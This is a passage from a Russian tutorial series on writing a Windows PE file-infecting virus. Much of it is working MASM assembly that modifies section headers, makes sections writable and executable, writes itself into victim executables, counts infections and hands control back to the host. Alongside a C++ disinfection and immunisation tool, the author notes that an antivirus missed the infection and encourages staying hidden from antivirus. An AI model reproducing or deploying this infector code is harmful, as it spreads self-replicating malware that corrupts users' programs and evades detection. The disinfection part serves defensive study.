Предыдущие части: Создаем
PE-вирус №1
и Создаем
PE-вирус №2

Так вот, поля PE-заголовка следующие:

ObjectAlign. Смещение относительно начала PE-заголовка равно 38h. Размер – 4 байта (DWORD). Указывает выравнивающий фактор программных секций. Должно быть степенью 2 между 512 и 256 М включительно. При использовании других значений программа не загрузится.

FileAlign. Смещение относительно начала PE-заголовка равно 3Ch. Размер – 4 байта. Фактор, используемый для выравнивания секций в программном файле. В байтовом значении указывает на границу, на которую секции дополняются 0 при размещении в файле. Большое значение приводит к нерациональному использованию дискового пространства, маленькое увеличивает компактность, но и снижает скорость загрузки. Должен быть степенью 2 в диапазоне от 512 до 64 К включительно. Прочие значения вызовут ошибку загрузки файла.

Мы должны знать, что PhysicalSize выравнивается по значению FileAlign, а VirtualSize – по
ObjectAlign.

    ; Выравниваем физический размер секции
_AlgnPhSz:
    add  edi, [edi + 3Ch]                ; edi = VA of PE header
    add  [esi + 10h], dword ptr Virsize  ; Увеличим физический размер секции
    mov  eax, [edi + 3Ch]                ; Берем выравнивающий фактор
                                         ; FileAlign
    dec  eax
    add  [esi + 10h], eax
    not  eax
    and  [esi + 10h], eax

    ; Выравниваем виртуальный размер
_AlgnVrSz:
    mov   ecx, [esi + 08h]               ; Берем виртуальный размер
    jecxz _PtchImSz                      ; Прыгаем, если размер = 0
    add   [esi + 08h], dword ptr Virsize ; Увеличим виртуальный размер секции
    mov   eax, [edi + 38h]               ; Берем выравнивающий фактор
                                         ; ObjectAlign
    shl   eax, 1                         ; Увеличиваем в 2 раза (для запаса 
                                         ; памяти)
    dec   eax
    add   [esi + 08h], eax
    not   eax
    and   [esi + 08h], eax

В PE-заголовке также есть еще одно поле размером 4 байта, которое проверяется загрузчиком – ImageSize. Его смещение относительно начала заголовка – 50h. Это виртуальный размер в байтах всего загружаемого образа, вместе с заголовками, кратен ObjectAlign. Пропатчим его:

    ; Патчим ImageSize = VirtualRVA(Last section) + VirtualSize(Last section)
_PtchImSz:
    mov   eax, [esi + 0Ch]             ; VirtualRVA(Last section)
    add   eax, [esi + 08h]             ; VirtualSize(Last section)
    mov   [edi + 50h], eax

При попытке что-то записать в секцию, в которую нельзя записывать, программа упадет с сообщением об ошибке. Поэтому при добавлении кода в последнюю секцию мы предполагаем, что этот код будет выполняться. А значит, секция должна иметь права на чтение, выполнение. Ну и запись тоже не помешает. Такими правами заправляет поле ObjectFlags в дескрипторе секции. Вот некоторые битовые флаги, которые характеризуют секцию:

00000020h - Секция содержит программный код;
00000040h - Секция содержит инициализированные данные;
00000080h - Секция содержит неинициализированные данные;
20000000h - Секция является исполняемой (см. флаг 00000020h);
40000000h - Секция только для чтения;
80000000h - Секция может использоваться для записи и чтения.

Нам нужно установить флаги 00000020h + 20000000h + 80000000h:

    ; Изменяем флаги, характеризующие секцию
_ObjFlags:
    mov  eax, [esi + 24h]
    .IF !(eax & 00000020h)             ; Секция содержит программный код
        or eax, 00000020h
    .ENDIF
    .IF !(eax & 20000000h)             ; Секция является исполняемой
        or eax, 20000000h
    .ENDIF
    .IF !(eax & 80000000h)             ; Секция может использоваться для 
                                       ; записи и чтения
        or eax, 80000000h
    .ENDIF
    mov  [esi + 24h], eax

И, наконец, завершительный этап – запись обновленного содержимого файла новой жертвы, восстанавливаем первые 5 байт текущей жертвы (которая тоже заражает другие файлы – новые жертвы) и передаем ей управление:

_WriteFile:      
    xor esi, esi
    push esi
    push esi
    push esi
    push hFile
    call SetFilePointer

    xor  esi, esi
    push esi
    push esp
    push dwAlignedFileSize
    push pAllocMem
    push hFile
    call WriteFile
    test eax, eax             ; Не удалось записать код в программу
    jz   _CloseFile

    ; Инкрементируем счетчик зараженных программ
    lea  esi, infect_count
    add  esi, delta_off
    inc  byte ptr [esi]

_CloseFile:
    push hFile
    call CloseHandle
    push pAllocMem
    call GlobalFree

    ; Освобождаем стек
    pop  eax
    pop  eax
    pop  eax
    pop  eax

    ; Проверим, сколько файлов уже заразили
    lea  esi, infect_count
    add  esi, delta_off
    cmp  byte ptr [esi], MaxVictimNumber  ; Если меньше MaxVictimNumber, то 
                                          ; продолжаем. Иначе - выходим
    jl   _FindNextFileA

_Exit:
    push hFind
    call FindClose                 ; Закрываем поиск файлов
    cmp  dword ptr delta_off, 0    ; проверяем поколение
    jz   ExitVirus                 ; поколение первое - завершаемся

    ; ищем начало заражаемого файла по сигнатуре на текущей странице памяти	
    mov eax, OFFSET begin_data
    add eax, delta_off
    xor ax, ax
_SearchMZPE_:
    mov   edi, [eax + 3Ch]
    .IF word ptr [eax] != 5A4Dh || word ptr [eax + edi] != 4550h
        sub eax, 10000h
        jmp _SearchMZPE_
    .ENDIF

    ; Вычисляем EntryPoint VA
    mov edi, eax                      ; edi = VA of MZ header
    add edi, dword ptr [edi + 3Ch]    ; edi = VA of PE header
    mov eax, dword ptr [edi + 28h]    ; eax = RVA of EntryPoint
    add eax, dword ptr [edi + 34h]    ; eax = VA of EntryPoint
	
    pusha
    push esp   ; адрес переменной, в нее возвращается "старый" режим доступа
    push 40h   ; режим доступа (нам нужен 40h)
    push 5h    ; размер области памяти в байтах
    push eax   ; адрес области памяти, чьи атрибуты страниц нужно изменить
    call VirtualProtect
    popa

    ; Восстанавливаем 5 байт начала программы-носителя
    mov  ecx, 5h
    lea  esi, save_vir_b
    add  esi, delta_off       ; esi = VA of save_vir_b
    mov  edi, eax             ; edi = VA of EntryPoint
    rep  movsb

    ; Прыгаем на код носителя
    jmp  eax
    
ExitVirus:
    push 0
    call _ExitProcess

После заражения нашего calc.exe еще раз посмотрим в его нутро HIEW’ом:

Здесь я обвел скорректированные нашим вирусом поля в PE-заголовке калькулятора и в дескрипторе последней секции. Также можно сравнить первые 5 байт точки входа до заражения и после:

Видим, что наш вирус изменил эти 5 байт на команду прыжка.

 

Обезвреживание вируса

Теперь задумаемся, а как нам найти зараженные нашим вирусом файлы и обезвредить их, если мы хорошо знаем структуру вируса? Знаем, куда он сохраняет 5 байт точки входа, куда дописывается. Перед нами встала задача удалить тело вируса из зараженной программы, не нарушив ее работоспособность. Желательно бы еще, чтобы наш вирус больше не трогал эту программу после того, как ее вылечили, т.е. она приобрела бы иммунитет против нашего вируса.

Вот такая получилась программа:

Ссылки на исходники и бинарники этой программы находятся в конце статьи. А я только вычерпну наиболее интересные участки кода программы-доктора.

Наша программа ищет все файлы с расширением EXE в указанной директории (включая вложенные директории), отсеивает файлы не PE-формата. Если найден PE-файл, наш «антивирус» анализирует заголовки этого файла и подсчитывает контрольную сумму некоторых байт в конце программы. Затем сравнивает эту сумму с той, что прописана для нашего вируса и выдает результат - заражен файл, вылечен ранее или не заражен.

Для первой версии нашего вируса (т.е. для той, которую мы написали выше) мы должны определить его размер и смещение сохраненных байт точки входа относительно конца файла, чтобы можно было вылечить зараженную жертву. Размер определим, откомпилировав наш вирус и посмотрев каким-нибудь HEX-редактором за конец таблицы HashTable. Помните, что мы там оставили якобы «бессмысленные» DWORD’ы? Теперь они нам пригодились, чтобы было легче считать. Сейчас размер вирусного кода равен 06BAh = 1722 байта. Смещение сохраненных 5 байт точки входа жертвы относительно конца файла равно 0ADCh = 2780 байт.

Для подсчета контрольной суммы я решил использовать алгоритм CRC32. Контрольную сумму будем считать, не затрагивая изменяющиеся части кода вируса (глобальные переменные, массивы), т.к. если мы их будем учитывать в подсчете CRC, контрольная сумма при проверке совпадать не будет из-за динамических частей и наш «антивирус» скажет, что файл вылечен.

Будем считать сумму от метки start до метки begin_data, и от метки HashTable до end_data. Для этого нам нужно узнать, по какому смещению от start находятся метки begin_data и HashTable. Метка end_data находится по смещению Virsize. Для этого используем все те же бессмысленные DWORD’ы:

Смещение метки begin_data = 0522h, метки HashTable = 0670h.

Значит, считаем контрольную сумму от 0 до 0521h и от 0670h до 06B9h и проверяем ее с уже подсчитанной для нашего вируса.

#define VIRUS_CRC     0x77EA881E
#define VIRUS_SIZE        0x06BA
#define HASH_TABLE_OFFSET 0x0670
#define BEGIN_DATA_OFFSET 0x0522

// Функция подсчитывает контрольную сумму некоторых последних
// байт файла программы и сравнивает с контрольной суммой нашего вируса.
// Если суммы равны, возвращается TRUE. Иначе - FALSE.
BOOLEAN ContainsVirusCode(HANDLE hFile, DWORD dwSectionAlignment) {
    DWORD dwSavePointer = SetFilePointer(hFile, 0, NULL, FILE_CURRENT);
    DWORD crc = 0xFFFFFFFF;

    if (SetFilePointer(hFile, -(LONG)dwSectionAlignment, NULL, FILE_END)
        != INVALID_SET_FILE_POINTER) {
        DWORD dwRead;
        BYTE *tempBuffer = new BYTE[dwSectionAlignment];

        ReadFile(hFile, tempBuffer, dwSectionAlignment, &dwRead, NULL);

        // Подсчитываем контрольную сумму
        for (int i = 0; i < BEGIN_DATA_OFFSET; i++) {
		    crc = dwCRC32Array[(crc ^ tempBuffer[i]) & 0xFF] ^ (crc >> 8);
        }
        for (i = HASH_TABLE_OFFSET; i < VIRUS_SIZE; i++) {
		    crc = dwCRC32Array[(crc ^ tempBuffer[i]) & 0xFF] ^ (crc >> 8);
        }

        crc = ~crc;
        delete [] tempBuffer;
    }

    SetFilePointer(hFile, dwSavePointer, NULL, FILE_BEGIN);
    return VIRUS_CRC == crc;
}

А вот и основной код программы-доктора:

// Открываем файл программы
hFile = CreateFile(pszFilePath, GENERIC_READ, FILE_SHARE_READ | 
                   FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
    throw "Анализ невозможен. Ошибка чтения";
}

DWORD dwRead; // Сколько байт прочитано за один вызов ReadFile
IMAGE_DOS_HEADER dosHeader; // MZ-заголовок

// Считываем MZ-заголовок
if (!ReadFile(hFile, &dosHeader, sizeof(IMAGE_DOS_HEADER), &dwRead, NULL)) {
    throw "Анализ невозможен. Ошибка чтения";
}

// Проверяем файл на сигнатуру MZ
if (IMAGE_DOS_SIGNATURE != dosHeader.e_magic) {
    throw "Анализ недопустим. Некорректный файл";
}

DWORD dwPESignature;

// Определяем местонахождение сигнатуры PE-заголовка
SetFilePointer(hFile, dosHeader.e_lfanew, NULL, FILE_BEGIN);

// Считываем PE-сигнатуру
if (!ReadFile(hFile, &dwPESignature, sizeof(dwPESignature), &dwRead, NULL)) {
    throw "Анализ невозможен. Ошибка чтения";
}

// Проверяем файл на сигнатуру PE
if (IMAGE_NT_SIGNATURE != dwPESignature) {
    throw "Анализ недопустим. Формат не поддерживается";
}

IMAGE_FILE_HEADER fileHeader;

// Считываем IMAGE_FILE_HEADER
if (!ReadFile(hFile, &fileHeader, sizeof(fileHeader), &dwRead, NULL)) {
    throw "Анализ невозможен. Ошибка чтения";
}

// Проверяем кол-во секций
if (fileHeader.NumberOfSections < 1) {
    throw "Анализ невозможен. Некорректный файл";
}

// Сохраняем текущий указатель файла.
// Он будет указывать на опциональный заголовок
DWORD dwOptHeaderFilePointer = SetFilePointer(hFile, 0, NULL, FILE_CURRENT);

pOptionalHeader = new BYTE[fileHeader.SizeOfOptionalHeader];
PIMAGE_OPTIONAL_HEADER optHeader = (PIMAGE_OPTIONAL_HEADER)pOptionalHeader;

// Считываем IMAGE_OPTIONAL_HEADER
if (!ReadFile(hFile, pOptionalHeader, fileHeader.SizeOfOptionalHeader, &dwRead, NULL)) {
    throw "Анализ невозможен. Ошибка чтения";
}

// Проверяем наличие заражения
if (!ContainsVirusCode(hFile, optHeader->SectionAlignment)) {
    bError = FALSE;
    if (optHeader->Win32VersionValue == 0x10041986) {
        throw "Файл вылечен ранее (есть иммунитет)";
    } else {
        throw "Вирус отсутствует";
    }
}
bError    = TRUE;
bInfected = TRUE;
dwInfectedCount++;

// Сохраняем текущий указатель файла.
// Он будет указывать на дескриптор первой секции
DWORD dwFirstSectionFilePointer = SetFilePointer(hFile, 0, NULL, 
                                                 FILE_CURRENT);

IMAGE_SECTION_HEADER lastSectionHeaderVA;
IMAGE_SECTION_HEADER lastSectionHeaderPTRD;

// Считываем дескриптор первой секции
if (!ReadFile(hFile, &lastSectionHeaderVA, IMAGE_SIZEOF_SECTION_HEADER, &dwRead, NULL)) {
    throw "Файл инфицирован. Лечение невозможно. Ошибка чтения";
}
memcpy(&lastSectionHeaderPTRD, &lastSectionHeaderVA, IMAGE_SIZEOF_SECTION_HEADER);

// Сохраняем текущий указатель файла.
// Он будет указывать на дескриптор последней секции
DWORD dwLastSectionFilePointer = dwFirstSectionFilePointer;

// Перебираем все последующие дескрипторы секций в поиске последней секции
for (WORD i = 1; i < fileHeader.NumberOfSections; i++) {
    IMAGE_SECTION_HEADER currSectionHeader;

    // Считываем очередной дескриптор
    if (!ReadFile(hFile, &currSectionHeader, IMAGE_SIZEOF_SECTION_HEADER, 
                  &dwRead, NULL)) {
        throw "Файл инфицирован. Лечение невозможно. Ошибка чтения";
    }

    // Ищем наибольшее значение Physical Offset
    if (currSectionHeader.PointerToRawData >= 
        lastSectionHeaderPTRD.PointerToRawData) {
        memcpy(&lastSectionHeaderPTRD, &currSectionHeader, 
               IMAGE_SIZEOF_SECTION_HEADER);
        dwLastSectionFilePointer = SetFilePointer(hFile, 0, NULL, 
                                                  FILE_CURRENT) – 
                                   IMAGE_SIZEOF_SECTION_HEADER;
    }

    // Ищем наибольшее значение Virtual Address
    if (currSectionHeader.VirtualAddress >= 
        lastSectionHeaderVA.VirtualAddress) {
        memcpy(&lastSectionHeaderVA, &currSectionHeader, 
               IMAGE_SIZEOF_SECTION_HEADER);
        dwLastSectionFilePointer = SetFilePointer(hFile, 0, NULL, 
                     FILE_CURRENT) - IMAGE_SIZEOF_SECTION_HEADER;
    }
}

// Проверяем, правильно ли нашли последнюю секцию
if (memcmp(&lastSectionHeaderVA, &lastSectionHeaderPTRD, 
    IMAGE_SIZEOF_SECTION_HEADER) != 0) {
    throw "Файл инфицирован. Лечение невозможно. Файл некорректен";
}

// Проверим физический размер последней секции
if (lastSectionHeaderVA.SizeOfRawData == 0) {
    throw "Файл инфицирован. Лечение невозможно. Файл некорректен";
}

// Ищем сохраненные 5 байт точки входа
BYTE save_vir_b[5];

SetFilePointer(hFile, -VIRUS_FIVE_BYTES_OFFSET, NULL, FILE_END);
if (!ReadFile(hFile, save_vir_b, 5, &dwRead, NULL)) {
    throw "Файл инфицирован. Лечение невозможно. Ошибка чтения";
}

// Ищем физическое смещение точки входа относительно начала файла

// Восстанавливаем значение указателя файла
SetFilePointer(hFile, dwFirstSectionFilePointer, NULL, FILE_BEGIN);

// Ищем секцию кода
IMAGE_SECTION_HEADER codeSectionHeader;

for (i = 0; i < fileHeader.NumberOfSections; i++) {
    // Считываем очередную секцию
    if (!ReadFile(hFile, &codeSectionHeader, IMAGE_SIZEOF_SECTION_HEADER, 
                  &dwRead, NULL)) {
        throw "Файл инфицирован. Лечение невозможно. Ошибка чтения";
    }

    if (codeSectionHeader.VirtualAddress == optHeader->BaseOfCode) {
        // Нашли секцию кода
        break;
    }
}

CloseHandle(hFile);
hFile = CreateFile(pszFilePath, GENERIC_READ | GENERIC_WRITE,
                   FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
                   OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
    throw "Файл инфицирован. Лечение невозможно. Ошибка записи";
}

DWORD dwEntryPointOffset = codeSectionHeader.PointerToRawData +
        optHeader->AddressOfEntryPoint - optHeader->BaseOfCode;
SetFilePointer(hFile, dwEntryPointOffset, NULL, FILE_BEGIN);

DWORD dwWritten;

// Записываем сохраненные 5 байт точки входа (восстанавливаем их)
if (!WriteFile(hFile, save_vir_b, 5, &dwWritten, NULL)) {
    throw "Файл инфицирован. Лечение невозможно. Ошибка записи";
}

// Если виртуальный размер не больше выровненного размера вируса,
// мы рискуем испортить виртуальный размер, сделав его равным нулю.
// В этом случае лучше оставить описатель последней секции без
// изменений. Просто обнулим тело вируса, не уменьшая размера самой жертвы
if (lastSectionHeaderVA.Misc.VirtualSize > GetAligned(VIRUS_SIZE,
    optHeader->SectionAlignment)) {
    // Восстанавливаем дескриптор последней секции
    SetFilePointer(hFile, dwLastSectionFilePointer, NULL, FILE_BEGIN);
    lastSectionHeaderVA.SizeOfRawData -=
            GetAligned(VIRUS_SIZE, optHeader->FileAlignment);
    lastSectionHeaderVA.Misc.VirtualSize -=
            GetAligned(VIRUS_SIZE, optHeader->SectionAlignment);
    if (!WriteFile(hFile, &lastSectionHeaderVA, IMAGE_SIZEOF_SECTION_HEADER, 
        &dwWritten, NULL)) {
        throw "Файл инфицирован. Лечение невозможно. Ошибка записи";
    }

    // Восстанавливаем ImageSize
    SetFilePointer(hFile, dwOptHeaderFilePointer, NULL, FILE_BEGIN);
    optHeader->SizeOfImage = lastSectionHeaderVA.VirtualAddress + 
                             lastSectionHeaderVA.Misc.VirtualSize;
    if (!WriteFile(hFile, pOptionalHeader, fileHeader.SizeOfOptionalHeader, 
        &dwWritten, NULL)) {
        throw "Файл инфицирован. Лечение невозможно. Ошибка записи";
    }

    // Вырезаем из файла тело вируса
    SetFilePointer(hFile, -(LONG)GetAligned(VIRUS_SIZE,
                   optHeader->SectionAlignment), NULL, FILE_END);
    SetEndOfFile(hFile);
} else {
    LONG lSize  = GetAligned(VIRUS_SIZE, optHeader->SectionAlignment);
    PBYTE pZero = new BYTE[lSize];

    // Обнуляем тело вируса
    ZeroMemory(pZero, lSize);
    SetFilePointer(hFile, -lSize, NULL, FILE_END);
    WriteFile(hFile, pZero, lSize, &dwWritten, NULL);

    delete [] pZero;
}
bError   = FALSE;
dwTreatedCount++;
throw "Инфицированный файл вылечен успешно!";

Как видим, алгоритм у нас такой же, как и при заражении: находим дескриптор последней секции, фиксим размеры секции (виртуальный и физический), пересчитываем поле ImageBase в PE-заголовке. Затем восстанавливаем байты точки входа и затираем вирус. При последнем действе может возникнуть проблема: а что, если размер жертвы до заражения был меньше выровненного размера вируса? Тогда при фиксе дескриптора последней секции мы отнимем из размера секции такой же выровненный размер нашего вируса. В итоге размер секции станет равным нулю, что совсем недопустимо. Поэтому, в таком случае мы просто обнуляем тело вируса, а размер секции не изменяем.

Здесь при удалении вируса мы оставляем метку заражения в резервном поле PE-заголовка, чтобы при повторной попытке заражения вирус пропустил данный файл, т.к. он не будет заражать файл с данной меткой. Таким образом, мы формируем иммунитет вылеченной жертвы к вирусу.

 

Антивирусы

Ради интереса я проверил зараженный калькулятор 6-м касперским на наличие вируса. Касперский промолчал, ничего не заметив (даже с включенной проактивной защитой). Dr. Web я не пробовал. А вот NOD32 немедленно заметил неизвестный Win32-вирус и заблокировал всяческий доступ к зараженному файлу. Исследование вопроса о том, как замаскироваться от антивируса, я оставляю читателю.

 

Заключение

Вот мы и написали простую самораспространяющуюся программу, а также попытались вылечить зараженный ею файл. Данный код можно еще много совершенствовать и оптимизировать. Он является скорее учебным, чем боевым. Например, можно поиграться с оверлеями, с самораспаковывающимися архивами (и подобными программами), с шифрованием кода вируса. Можно упаковать какую-то часть кода, чтобы поместить в освободившееся место тело вируса. А при выполнении распаковывать. Ну и тому подобное. Самое главное – остаться незамеченным. И если даже не извращаться над кодом вируса, то хотя бы сделать его работоспособным для всех условий, чтобы пользователь не обнаружил, что какая-нибудь его программа внезапно упала при запуске из-за вируса. Возникнет сразу много подозрений и лишних вопросов. А нам это не надо. Мы лучше будем тихо без шелеста делать свое дело.

Итак, вот и обещанные исходники:

Программа подсчета хеша имени функции с исходником
(Visual C++ 6.0)


Вирус с исходником (MASM 8.2)


Программа-доктор с исходником (Visual C++ 6.0)

Предыдущие части: Создаем
PE-вирус №1
и Создаем
PE-вирус №2

Оставить мнение